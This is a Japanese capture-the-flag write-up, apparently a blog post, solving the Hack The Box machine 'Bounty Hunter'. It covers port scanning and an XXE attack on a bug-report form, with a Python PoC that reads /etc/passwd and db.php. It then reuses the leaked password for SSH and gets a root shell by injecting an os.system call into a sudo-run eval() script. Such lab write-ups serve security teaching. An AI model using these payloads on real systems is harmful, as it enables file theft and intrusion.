見出し画像

HTB Bounty Hunter


nmapによるポート探索

$ nmap -sCV -A -v -p- --min-rate 5000 10.10.11.100  -oN nmap_result.txt

ORT      STATE    SERVICE    VERSION
22/tcp    open     ssh        OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 d4:4c:f5:79:9a:79:a3:b0:f1:66:25:52:c9:53:1f:e1 (RSA)
|   256 a2:1e:67:61:8d:2f:7a:37:a7:ba:3b:51:08:e8:89:a6 (ECDSA)
|_  256 a5:75:16:d9:69:58:50:4a:14:11:7a:42:c1:b6:23:44 (ED25519)
80/tcp    open     http       Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Bounty Hunters
|_http-favicon: Unknown favicon MD5: 556F31ACD686989B1AFCF382C05846AA

feroxbusterによるenumeration

└─$ feroxbuster -u http://10.10.11.100/ -d 2 -C 403,404,500
                                                                                                       
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://10.10.11.100/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 💢  Status Code Filters   │ [403, 404, 500]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 2
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        9l       31w      274c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403      GET        9l       28w      277c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301      GET        9l       28w      309c http://10.10.11.100/js => http://10.10.11.100/js/
200      GET        1l       44w     2532c http://10.10.11.100/resources/jquery.easing.min.js
200      GET        5l       15w      125c http://10.10.11.100/portal.php
200      GET      122l      415w    30702c http://10.10.11.100/assets/img/portfolio/cake.png
200      GET      178l      601w    46744c http://10.10.11.100/assets/img/portfolio/game.png
200      GET      150l      506w    43607c http://10.10.11.100/assets/img/portfolio/submarine.png
200      GET      139l      444w    35267c http://10.10.11.100/assets/img/portfolio/safe.png
200      GET        7l     1031w    84152c http://10.10.11.100/resources/bootstrap.bundle.min.js
200      GET        2l     1297w    89476c http://10.10.11.100/resources/jquery.min.js
301      GET        9l       28w      313c http://10.10.11.100/assets => http://10.10.11.100/assets/
301      GET        9l       28w      310c http://10.10.11.100/css => http://10.10.11.100/css/
301      GET        9l       28w      316c http://10.10.11.100/resources => http://10.10.11.100/resources/
200      GET       64l      232w     2682c http://10.10.11.100/resources/lato.css
200      GET      248l      761w    12807c http://10.10.11.100/assets/img/avataaars.svg
200      GET       80l      248w     3228c http://10.10.11.100/resources/monsterat.css
200      GET       69l      210w     2424c http://10.10.11.100/js/scripts.js
200      GET        0l        0w   187375c http://10.10.11.100/css/styles.css
200      GET        0l        0w    36514c http://10.10.11.100/assets/img/portfolio/cabin.png
200      GET        0l        0w    23462c http://10.10.11.100/assets/img/favicon.ico
200      GET        0l        0w  1194961c http://10.10.11.100/resources/all.js
200      GET        0l        0w    27984c http://10.10.11.100/assets/img/portfolio/circus.png
200      GET      388l     1470w    25169c http://10.10.11.100/
301      GET        9l       28w      317c http://10.10.11.100/assets/img => http://10.10.11.100/assets/img/
200      GET       24l       44w      594c http://10.10.11.100/resources/bountylog.js
200      GET        6l       34w      210c http://10.10.11.100/resources/README.txt
200      GET        0l        0w    48945c http://10.10.11.100/resources/bootstrap_login.min.js
200      GET        0l        0w    86659c http://10.10.11.100/resources/jquery_login.min.js

ルートにportal.phpファイルが1つだけある。
PHPの他ファイルが無いかを確認する。

$ feroxbuster -u http://10.10.11.100/ -d 2 -C 403,404,500 -x php
                                                                                                       
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://10.10.11.100/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 💢  Status Code Filters   │ [403, 404, 500]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 💲  Extensions            │ [php]
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 2
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
403      GET        9l       28w      277c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404      GET        9l       31w      274c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301      GET        9l       28w      309c http://10.10.11.100/js => http://10.10.11.100/js/
301      GET        9l       28w      310c http://10.10.11.100/css => http://10.10.11.100/css/
200      GET      122l      415w    30702c http://10.10.11.100/assets/img/portfolio/cake.png
200      GET      248l      761w    12807c http://10.10.11.100/assets/img/avataaars.svg
200      GET       80l      248w     3228c http://10.10.11.100/resources/monsterat.css
200      GET       69l      210w     2424c http://10.10.11.100/js/scripts.js
200      GET        6l       34w      210c http://10.10.11.100/resources/README.txt
200      GET       64l      232w     2682c http://10.10.11.100/resources/lato.css
200      GET        7l      567w    48945c http://10.10.11.100/resources/bootstrap_login.min.js
200      GET        7l     1031w    84152c http://10.10.11.100/resources/bootstrap.bundle.min.js
200      GET        4l     1298w    86659c http://10.10.11.100/resources/jquery_login.min.js
301      GET        9l       28w      313c http://10.10.11.100/assets => http://10.10.11.100/assets/
200      GET        5l       15w      125c http://10.10.11.100/portal.php
200      GET        1l       44w     2532c http://10.10.11.100/resources/jquery.easing.min.js
200      GET        0l        0w    89476c http://10.10.11.100/resources/jquery.min.js
200      GET        0l        0w   187375c http://10.10.11.100/css/styles.css
200      GET        0l        0w    25896c http://10.10.11.100/assets/img/portfolio/game.png
200      GET        0l        0w    27984c http://10.10.11.100/assets/img/portfolio/circus.png
200      GET        0l        0w    24330c http://10.10.11.100/assets/img/portfolio/submarine.png
200      GET        0l        0w    36514c http://10.10.11.100/assets/img/portfolio/cabin.png
200      GET        0l        0w  1194961c http://10.10.11.100/resources/all.js
200      GET        0l        0w    19240c http://10.10.11.100/assets/img/portfolio/safe.png
200      GET        0l        0w    23462c http://10.10.11.100/assets/img/favicon.ico
200      GET      388l     1470w    25169c http://10.10.11.100/
200      GET        0l        0w        0c http://10.10.11.100/db.php
200      GET       24l       44w      594c http://10.10.11.100/resources/bountylog.js
301      GET        9l       28w      316c http://10.10.11.100/resources => http://10.10.11.100/resources/
200      GET      388l     1470w    25169c http://10.10.11.100/index.php
200      GET       20l       63w      617c http://10.10.11.100/log_submit.php

直下にいくつかPHPファイルがあり、その中でもdb.phpはdbアクセスをやっている可能性があり、Credentialsが書かれていると嬉しい。

ポイント

feroxbusterの拡張子なしはディレクトリ把握用
ファイル列挙は十分ではないため-xで拡張子を指定する

ポート80探索

ポート80を探索
「PORTAL」を押すと開発中の画面がある
試しに入力
「Submit」を押すと入力内容が表示される

ポイント

開発中の画面は不完全である可能性が高く、入力した内容が表示されるためXSSやXXEの可能性を調査する。

PROXYでリクエストを見るとdataとしてエンコードされた文字列を送信している
画面で入力した内容がXML形式でBASE64+URLエンコードして送信していることがわかる

XXEによるファイル参照

ポイント

XMLが何者かはある程度しっている前提となるが、XXEとはXml eXternal Entitiesの略で、DOCTYPEで外部ファイルを参照することが可能。

What are XML external entities?

XML external entities are a type of custom entity whose definition is located outside of the DTD where they are declared.

The declaration of an external entity uses the SYSTEM keyword and must specify a URL from which the value of the entity should be loaded. For example:

<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://normal-website.com" > ]>

The URL can use the file:// protocol, and so external entities can be loaded from file. For example:

<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///path/to/file" > ]>

XML external entities provide the primary means by which XML external entity attacks arise.

https://hacktricks.boitatech.com.br/pentesting-web/xxe-xee-xml-external-entity

BurpSuiteでXXE

先程のリクエストを簡単なXXEの確認用データに書き換える

xxeエンティティに3を格納して<title>に表示する
レスポンスを見ると「3」になっている
/etc/passwdを読み込むコードに変更
ログイン可能なユーザ(nologinやfalse以外)としてdevelopmentがいる
/var/www/html/db.phpを読み込むコードに変更
レスポンスを取得

ポイント

PHPファイルはそのままでは取得できないためbase64にエンコードして文字列として取得する

"php://filter/convert.base64-encode/resource=/var/www/html/db.php"

<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/db.php"> ]>
		<bugreport>
		<title>&xxe;</title>
		<cwe>CWE1111</cwe>
Credentialsを取得

POC

出典元

import requests
import sys
from base64 import b64encode, b64decode


if len(sys.argv) != 2:
    print(f"usage: {sys.argv[0]} filename")
    sys.exit()

xxe = f"""<?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [  
  <!ELEMENT bar ANY >
  <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource={sys.argv[1]}" >]>
                <bugreport>
                <title>&xxe;</title>
                <cwe>CWE</cwe>
                <cvss>9.8</cvss>
                <reward>1,000,000</reward>
                </bugreport>"""

payload = b64encode(xxe.encode())

resp = requests.post('http://10.10.11.100/tracker_diRbPr00f314.php',
        data = {'data': payload},
        proxies = {'http': 'http://127.0.0.1:8080'})

encoded_result = '>'.join(resp.text.split('>')[5:-21])[:-4]
result = b64decode(encoded_result)
print(result.decode())

grepの-v(フィルター)と-e(OR検索)を使いログイン可能ユーザを取得

└─$ python3 xxe.py /etc/passwd | grep -v -e false -e nologin
root:x:0:0:root:/root:/bin/bash
sync:x:4:65534:sync:/bin:/bin/sync
development:x:1000:1000:Development:/home/development:/bin/bash
└─$ python3 xxe.py /var/www/html/db.php
<?php
// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";
?>

Exploit

ユーザをdevelopment、パスワードをDB接続情報でSSHアクセスする

$ ssh development@10.10.11.100                                                    
The authenticity of host '10.10.11.100 (10.10.11.100)' can't be established.
ED25519 key fingerprint is SHA256:p7RCN4B2AtB69d0vE1LTmg0lRRlnsR1fxArJ+KNoNFQ.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.100' (ED25519) to the list of known hosts.
development@10.10.11.100's password: 
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Mon 06 Jan 2025 03:16:33 PM UTC

  System load:           0.12
  Usage of /:            24.7% of 6.83GB
  Memory usage:          16%
  Swap usage:            0%
  Processes:             214
  Users logged in:       0
  IPv4 address for eth0: 10.10.11.100
  IPv6 address for eth0: dead:beef::250:56ff:feb0:1da1


0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Wed Jul 21 12:04:13 2021 from 10.10.14.8
development@bountyhunter:~$ id
uid=1000(development) gid=1000(development) groups=1000(development)

eval()でコマンド実行してPrivilege Escalation

NoPasswordで実行できるPythonファイルがあります。

development@bountyhunter:~$ sudo -l
Matching Defaults entries for development on bountyhunter:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User development may run the following commands on bountyhunter:
    (root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py

ticketValidatorのmain()の流れをみると名前の通りチケットファイルの有効性を評価するプログラムのようです。

def main():
    fileName = input("Please enter the path to the ticket file.\n")
    ticket = load_file(fileName)
    #DEBUG print(ticket)
    result = evaluate(ticket)
    if (result):
        print("Valid ticket.")
    else:
        print("Invalid ticket.")
    ticket.close

テスト用のInvalidTicketがあるので動作確認をしてみます。

development@bountyhunter:~$ ls /opt/skytrain_inc/
invalid_tickets  ticketValidator.py

development@bountyhunter:~$ ls /opt/skytrain_inc/invalid_tickets/
390681613.md  529582686.md  600939065.md  734485704.md

development@bountyhunter:~$ cat /opt/skytrain_inc/invalid_tickets/390681613.md 
# Skytrain Inc
## Ticket to New Haven
__Ticket Code:__
**31+410+86**
##Issued: 2021/04/06
#End Ticket
development@bountyhunter:~$ /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
/opt/skytrain_inc/invalid_tickets/390681613.md
Destination: New Haven
Invalid ticket.

どんなチェックをしているのかを見てみます。

  • 1行目がSkytrain Incで始まること

  • 2行目がTicket toで始まること

  • 3行目がTicket Code:で始まること

  • 4行目(TicketCode)が**で始まること

  • TicketCodeの最初の数字を7で割るとあまりが4であること

  • TicketCodeには+が書かれておりeval()で式を評価したときに100より大きいこと

先程のファイルをこの形式に合うように修正して実行してみます。

development@bountyhunter:~$ cp /opt/skytrain_inc/invalid_tickets/390681613.md ./

development@bountyhunter:~$ ls -l
total 12
-r--r--r-- 1 development development 102 Jan  6 23:34 390681613.md
-rw-r--r-- 1 root        root        471 Jun 15  2021 contract.txt
-r--r----- 1 root        development  33 Jan  6 13:19 user.txt

development@bountyhunter:~$ chmod 644 390681613.md 

development@bountyhunter:~$ ls -l
total 12
-rw-r--r-- 1 development development 102 Jan  6 23:34 390681613.md
-rw-r--r-- 1 root        root        471 Jun 15  2021 contract.txt
-r--r----- 1 root        development  33 Jan  6 13:19 user.txt

development@bountyhunter:~$ vim 390681613.md 

development@bountyhunter:~$ cat 390681613.md 
# Skytrain Inc
## Ticket to New Haven
__Ticket Code:__
**32+410+86**
##Issued: 2021/04/06
#End Ticket

修正箇所はTicketCodeの先頭部分で31⇒32

development@bountyhunter:~$ /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
/home/development/390681613.md
Destination: New Haven
Valid ticket.

これでプログラムの動きを理解できました。
問題のeval()付近を見ていきます。

if code_line and i == code_line:
 if not x.startswith("**"):
  return False
 ticketCode = x.replace("**", "").split("+")[0]
 if int(ticketCode) % 7 == 4:
  validationNumber = eval(x.replace("**", ""))
  if validationNumber > 100:
   return True
  else:
   return False

/opt/skytrain_inc/ticketValidator.py

eval()には**を削除した文字列を渡しております。
素直に受け止めると残った文字列はNN+NN+NNのような数値の足し算を想定しており数式の評価としてeval()を使ったようです。

もしxの中身が数値と+等の計算式だけであることを正規表現等でチェックした上でeval()に渡しているのであれば問題ありませんが、そのようなチェックはせずxの中身をそのまま渡しております。

ポイント

eval()は渡された文字列をプログラムとして実行してくれるので、言い換えると好きなプログラムを実行できてしまいます。
しかもsudo-lで確認したとおりこのPythonファイルはroot権限で実行できるのでbashを実行するとrootのシェルを奪えます。

development@bountyhunter:~$ vim 390681613.md 
development@bountyhunter:~$ cat 390681613.md 
# Skytrain Inc
## Ticket to New Haven
__Ticket Code:__
**32+410+86**+__import__("os").system("/bin/bash")
##Issued: 2021/04/06
#End Ticket


development@bountyhunter:~$ sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
/home/development/390681613.md
Destination: New Haven


root@bountyhunter:/home/development# id
uid=0(root) gid=0(root) groups=0(root)

いいなと思ったら応援しよう!